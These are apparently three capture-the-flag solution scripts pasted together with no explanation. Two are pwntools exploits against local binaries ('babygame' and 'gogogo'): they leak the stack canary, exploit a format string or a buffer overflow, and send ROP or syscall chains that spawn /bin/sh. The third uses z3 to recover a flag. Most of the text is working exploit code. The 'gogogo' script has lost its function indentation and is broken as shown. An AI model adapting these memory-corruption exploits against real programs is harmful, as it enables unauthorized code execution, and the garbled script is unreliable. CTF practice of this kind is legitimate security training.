from pwn import *

from ctypes import CDLL



context.log_level = 'debug'



io = process('./babygame',env={'LD_PRELOAD': './libc-2.31.so'})

libc = CDLL('libc.so.6')

libc.srand(0x31313131)

libc2 = ELF('./libc-2.31.so')

operate = [1,2,0]



io.recvuntil("Please input your name:")

payload = b'a'*256 + p64(0x3131313131313131)

#gdb.attach(io)

io.sendline(payload)

io.recvuntil(b"111\n")

canary = io.recv(7).rjust(8,b'\x00')

log.success("canary:"+hex(u64(canary)))

stack_base = io.recv(6).ljust(8,b'\x00')

log.success("stack_base:"+hex(u64(stack_base)))

stack_base = u64(stack_base)



for i in range(100):

    io.recvuntil('round')

    choose = libc.rand()%3

    io.sendline(str(operate[choose]))



target =  stack_base -824 

#fmt = 'aaaaaa'

fmt = b'%9$lx%170c%8$hhn' + p64(target)

#p.send(fmt)

# offset = 6

gdb.attach(io)

io.send(fmt)



#gdb.attach(io)

io.recvuntil(b'Good luck to you.\n')



libc_base = int(io.recv(12),16) - 0x61d6f

system = libc_base + libc2.sym['system']

binsh = libc_base + next(libc2.search(b'/bin/sh'))

print("libc")

print(hex(libc_base))

pop_rdi = 0x23b72

ret = 0x22679 

ropchain = p64(0xdeadbeef) + p64(ret+libc_base) + p64(pop_rdi+libc_base) + p64(binsh) + p64(system)



io.sendline(ropchain)

io.interactive()

from pwn import *

import time

context.log_level='debug'

io = process("./gogogo")



def guessTrainner():

start =time.time()

answerSet=answerSetInit(set())

for i in range(7):

    inputStrMax=suggestedNum(answerSet,100)

    print('第%d步----' %(i+1), end="")

    print('尝试：' +inputStrMax, end="")

    print('----', end="")

    AMax,BMax = compareAnswer_send(inputStrMax)

    print('反馈：%dA%dB' % (AMax, BMax), end="")

    print('----', end="")

    print('排除可能答案：%d个' % (answerSetDelNum(answerSet,inputStrMax,AMax,BMax)))

    answerSetUpd(answerSet,inputStrMax,AMax,BMax)

    if AMax==4:

        elapsed = (time.time() - start)

        print("猜数字成功，总用时：%f秒，总步数：%d。" %(elapsed,i+1))

        break

    elif i==6:

        print("猜数字失败！")





def compareAnswer_send(inputStr):

inputSTR = inputStr[0]+' '+inputStr[1]+' '+inputStr[2]+' '+inputStr[3]

io.sendline(str(inputSTR))

io.recvuntil(b"\n")

results = io.recvuntil(b"B",timeout=1)

if results == b"":

    return 4,4

print(results)

A = int(results[0])-48

B = int(results[2])-48

print(A,B)

return A,B



def compareAnswer(inputStr,answerStr):

A=0

B=0

for j in range(4):

    if inputStr[j]==answerStr[j]:

        A+=1

    else:

        for k in range(4):

            if inputStr[j]==answerStr[k]:

            B+=1

return A,B



def answerSetInit(answerSet):

answerSet.clear()

for i in range(1234,9877):

    seti=set(str(i))

    if len(seti)==4 and seti.isdisjoint(set('0')):

        answerSet.add(str(i))

return answerSet



def answerSetUpd(answerSet,inputStr,A,B):

answerSetCopy=answerSet.copy()

for answerStr in answerSetCopy:

    A1,B1=compareAnswer(inputStr,answerStr)

    if A!=A1 or B!=B1:

        answerSet.remove(answerStr)



def answerSetDelNum(answerSet,inputStr,A,B):

i=0

for answerStr in answerSet:

    A1, B1 = compareAnswer(inputStr, answerStr)

    if A!=A1 or B!=B1:

        i+=1

return i





def suggestedNum(answerSet,lvl):

suggestedNum=''

delCountMax=0

if len(answerSet) > lvl:

    suggestedNum = list(answerSet)[0]

else:

    for inputStr in answerSet:

        delCount = 0

        for answerStr in answerSet:

            A,B = compareAnswer(inputStr, answerStr)

            delCount += answerSetDelNum(answerSet, inputStr,A,B)

        if delCount > delCountMax:

            delCountMax = delCount

            suggestedNum = inputStr

        if delCount == delCountMax:

            if suggestedNum == '' or int(suggestedNum) > int(inputStr):

            suggestedNum = inputStr

# print(inputStr+'-----'+str(delCount)+'-----'+str(delCountMax)+'-----'+suggestedNum)

return suggestedNum





io.recvuntil("PLEASE INPUT A NUMBER:")

io.sendline(str(1717986918))

io.recvuntil("PLEASE INPUT A NUMBER:")

io.sendline(str(1234))

io.recvuntil("YOU HAVE SEVEN CHANCES TO GUESS")

guessTrainner()

io.recvuntil("AGAIN OR EXIT?")

io.sendline("exit")

io.recvuntil("EXIT")

#gdb.attach(io)

io.sendline(str(4))



io.recvuntil("ARE YOU SURE?")

#gdb.attach(io)

syscall = 0x47cf05

binsh = 0xc0000be000



payload = b'/bin/sh\x00'*0x8c + p64(syscall) + p64(0) + p64(59) + p64(binsh) + p64(0) + p64(0)

io.sendline(payload)

io.interactive()



#494B0F

from z3 import *

enc = [BitVec("%id"%i,32) for i in range(4)]
s= Solver()

s.add(enc[3]*28096+enc[2]*64392+enc[1]*29179+enc[0]*52366==209012997183893)
s.add(enc[3]*61887+enc[2]*27365+enc[1]*44499+enc[0]*37508==181792633258816)
s.add(enc[3]*56709+enc[2]*32808+enc[1]*25901+enc[0]*59154==183564558159267)
s.add(enc[3]*33324+enc[2]*51779+enc[1]*31886+enc[0]*62010==204080879923831)

print(s.check())
print(s.model())

answer = s.model() # dictionary
flag = b''
for i in enc:
    #print(i)
    #print(type(i))
    temp = answer[i].as_long()
    temp = temp.to_bytes(4,"little")
    flag = temp + flag

print(flag)